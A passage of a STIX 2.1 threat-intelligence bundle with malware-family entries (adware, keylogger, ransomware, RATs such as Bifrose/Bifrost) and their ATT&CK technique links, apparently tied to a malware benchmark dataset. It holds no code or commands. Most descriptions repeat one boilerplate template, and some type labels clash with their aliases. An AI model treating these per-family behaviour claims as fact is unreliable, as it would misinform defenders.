      "id": "relationship--6813907d-676c-584d-9e5c-e95a4c847d80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b680912f-99d3-52c5-a78e-295dd4f55511",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betload exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9a318041-5cfb-5043-8ddf-7ff0fe7f9999",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bettersurf",
      "description": "Bettersurf (classified in antivirus detection telemetry under designations including Adware:Win32/Bettersurf, Adware.Win32.Bettersurf, and Win32/Bettersurf) is a commercial adware and potentially unwanted application (PUA) bundled with third-party software installers to monetize search navigation and display intrusive advertising. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bettersurf executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include browser homepage modification, search provider hijacking, shortcut tampering, and background advertising service registration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.BetterSurf",
        "PUP.BetterSurf",
        "Win32/Adware.BetterSurf",
        "Adware:Win32/Bettersurf",
        "Adware.Win32.Bettersurf",
        "Win32/Bettersurf"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bettersurf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bettersurf"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c794be67-febc-5756-8c65-ef8699628cbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a318041-5cfb-5043-8ddf-7ff0fe7f9999",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bettersurf exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8984e0f-6e3d-5287-905d-4caa9de41b48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a318041-5cfb-5043-8ddf-7ff0fe7f9999",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bettersurf exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd6cefa9-57d5-5406-81a7-a4ef27fdf9b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a318041-5cfb-5043-8ddf-7ff0fe7f9999",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bettersurf exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3095b688-6609-5b3e-abd5-b3893ad349f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Beyondkeylogger",
      "description": "Beyondkeylogger (classified in antivirus detection telemetry under designations including PWS:Win32/Beyondkeylogger, PWS.Win32.Beyondkeylogger, and Win32/Beyondkeylogger) is a dedicated information theft malware engineered to harvest stored credentials, browser session cookies, cryptocurrency wallets, and keystrokes. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Beyondkeylogger executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include credential database extraction, API hooking, system discovery, and encrypted C2 exfiltration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/Beyondkeylogger",
        "PWS.Win32.Beyondkeylogger",
        "Win32/Beyondkeylogger"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Beyondkeylogger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/beyondkeylogger"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--305da69d-093c-5606-9e93-71a71aeafc94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3095b688-6609-5b3e-abd5-b3893ad349f5",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beyondkeylogger exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a814fe70-696b-51a0-b442-7639b009e3b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3095b688-6609-5b3e-abd5-b3893ad349f5",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beyondkeylogger exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a199a805-74fe-59f5-b316-a7b83d7aa2d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3095b688-6609-5b3e-abd5-b3893ad349f5",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beyondkeylogger exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59135287-00d5-5b97-a3dc-96566fc8f46b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3095b688-6609-5b3e-abd5-b3893ad349f5",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beyondkeylogger exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via Email/SMTP))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e08949af-bf6a-574e-b0b6-9f345714a8d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bhoint",
      "description": "Bhoint (classified in antivirus detection telemetry under designations including Trojan:Win32/Bhoint, Trojan.Win32.Bhoint, and Win32/Bhoint) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bhoint executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Bhoint",
        "PUP.Bhoint",
        "Win32/Adware.BHO",
        "Trojan:Win32/Bhoint",
        "Trojan.Win32.Bhoint",
        "Win32/Bhoint"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bhoint",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bhoint"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8ec786a-1d94-5fca-a881-ba3ee22bc540",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e08949af-bf6a-574e-b0b6-9f345714a8d9",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bhoint exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4bcbdc8c-98e9-5a2d-911b-d69f45f18a5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e08949af-bf6a-574e-b0b6-9f345714a8d9",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bhoint exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8730070-b851-5b8b-adf0-633ed68018e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e08949af-bf6a-574e-b0b6-9f345714a8d9",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bhoint exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d415ba4f-d152-500b-a6ef-21a5f4bd5f1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bhosta",
      "description": "Bhosta (classified in antivirus detection telemetry under designations including Ransom:Win32/Bhosta, Ransom.Win32.Bhosta, and Win32/Bhosta) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bhosta executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bhosta",
        "Downloader.Bhosta",
        "Win32/Bhosta",
        "Ransom:Win32/Bhosta",
        "Ransom.Win32.Bhosta"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bhosta",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bhosta"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19b03fea-f7f1-54c7-a9f1-d650c2c483fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d415ba4f-d152-500b-a6ef-21a5f4bd5f1d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bhosta exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b132fab5-ec78-5575-9410-69e8a90e5626",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d415ba4f-d152-500b-a6ef-21a5f4bd5f1d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bhosta exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fc9bde1-1bde-50f3-a0ba-eba7aa516277",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d415ba4f-d152-500b-a6ef-21a5f4bd5f1d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bhosta exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--04269c87-1f5f-5c8c-9999-9fed2ecbcb58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bhxu",
      "description": "Bhxu (classified in antivirus detection telemetry under designations including Ransom:Win32/Bhxu, Ransom.Win32.Bhxu, and Win32/Bhxu) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bhxu executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bhxu",
        "Downloader.Bhxu",
        "Win32/Bhxu",
        "Ransom:Win32/Bhxu",
        "Ransom.Win32.Bhxu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bhxu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bhxu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bff32cc5-1546-5012-850c-b6500dbc109a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04269c87-1f5f-5c8c-9999-9fed2ecbcb58",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bhxu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfab9c9d-e6e3-5a9d-9988-f44698e5efec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04269c87-1f5f-5c8c-9999-9fed2ecbcb58",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bhxu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee41c059-707a-51b2-9eea-8adade153f3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04269c87-1f5f-5c8c-9999-9fed2ecbcb58",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bhxu exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0f78c434-eec8-5a3a-8ffe-910fa1a64368",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bicololo",
      "description": "Bicololo (classified in antivirus detection telemetry under designations including Ransom:Win32/Bicololo, Ransom.Win32.Bicololo, and Win32/Bicololo) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bicololo executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bicololo",
        "Ransom.Win32.Bicololo",
        "Win32/Bicololo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bicololo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bicololo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--817c3e3e-9278-53ee-82e6-4e4044e33dda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f78c434-eec8-5a3a-8ffe-910fa1a64368",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bicololo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--326d0077-c1d9-5560-acd4-d224d17baec3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f78c434-eec8-5a3a-8ffe-910fa1a64368",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bicololo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a15ed8cb-8518-5199-a393-7b577d5d3c37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f78c434-eec8-5a3a-8ffe-910fa1a64368",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bicololo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccb3e899-b210-52a7-8cab-cf907c34c00c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f78c434-eec8-5a3a-8ffe-910fa1a64368",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bicololo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9c01ce8-cb76-5520-be54-facc6fa5785f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f78c434-eec8-5a3a-8ffe-910fa1a64368",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bicololo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--40292d1b-9d72-5f1b-bd3c-c6ed92155a2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bifrose",
      "description": "Bifrose (widely known across cybersecurity history as Bifrost, Backdoor:Win32/Bifrose, and Backdoor.Bifrost) is a landmark, enduring Remote Access Trojan (RAT) and backdoor active since 2004. Operating on a client-server architecture with dedicated builder utilities (Constructor:Win32/Bifrose), Bifrose has been heavily abused by cybercrime syndicates and targeted threat actors worldwide for over two decades. Once installed on a victim endpoint, the server component injects into explorer.exe or svchost.exe, establishes encrypted reverse TCP connections to remote attacker-controlled listeners, and provides complete remote administration capabilities. Features include keyboard logging, desktop surveillance, bidirectional file transfer, process and registry manipulation, webcam streaming, and network pivoting. Recent variants have expanded to target Linux and ARM systems, employing typosquatted C2 infrastructure to evade modern enterprise network inspection. (Observed samples in benchmark: 59)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Bifrose",
        "Backdoor.Bifrost",
        "Bifrost RAT",
        "Constructor:Win32/Bifrose.A",
        "Bifrose"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bifrose",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bifrose"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37eacf2d-b71b-5165-81a2-dabe230b407a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40292d1b-9d72-5f1b-bd3c-c6ed92155a2a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bifrose exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--046b66ab-c70f-5b32-a0e2-172fa4736527",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40292d1b-9d72-5f1b-bd3c-c6ed92155a2a",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bifrose exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4375c72-b941-5907-bbbf-777b6a0bd67b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40292d1b-9d72-5f1b-bd3c-c6ed92155a2a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bifrose exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efd5634c-fcd9-5722-a420-8b1a2b31008b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40292d1b-9d72-5f1b-bd3c-c6ed92155a2a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bifrose exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f25b1b3d-8ad4-5142-a305-96807544d2b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40292d1b-9d72-5f1b-bd3c-c6ed92155a2a",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bifrose exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--da38d704-28cb-5a56-9acc-072242302b3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bifrost",
      "description": "Bifrost (also documented across threat research as Bifrose, Backdoor:Win32/Bifrose, and Trojan.Bifrose) is a resilient, long-standing remote access trojan (RAT) that first surfaced in 2004 and maintained widespread operational use for over a decade in both financially motivated crimeware and state-sponsored cyber espionage campaigns. Authored in C++, Bifrost features a dual-mode communication architecture supporting both direct connection and reverse connection proxying, allowing operators to bypass corporate firewalls and NAT perimeters without requiring port forwarding on victim networks. The implant incorporates sophisticated kernel-level rootkit capabilities: it hooks the Windows System Service Dispatch Table (SSDT) and subverts Native API functions (including ZwQueryDirectoryFile and ZwQuerySystemInformation) to hide its files, registry entries, and network connections from Windows Task Manager and traditional antivirus scanners. Bifrost grants operators extensive remote workstation surveillance, including low-level keystroke logging via custom hook DLLs, webcam capture, screen surveillance, file transfer, remote shell execution, and registry editing. Threat actors frequently package Bifrost using multi-layered runtime crypters and deploy it via targeted spear-phishing emails containing exploit documents targeting vulnerabilities such as CVE-2012-0158 and CVE-2010-0805. (Observed samples in benchmark: 95)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Bifrose",
        "Backdoor:Win32/Bifrose",
        "Trojan.Bifrose",
        "Win32/Bifrose",
        "Bifrost RAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bifrost",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bifrost"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1d69251e-7587-5d98-b89e-ea4fc71db617",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Binder",
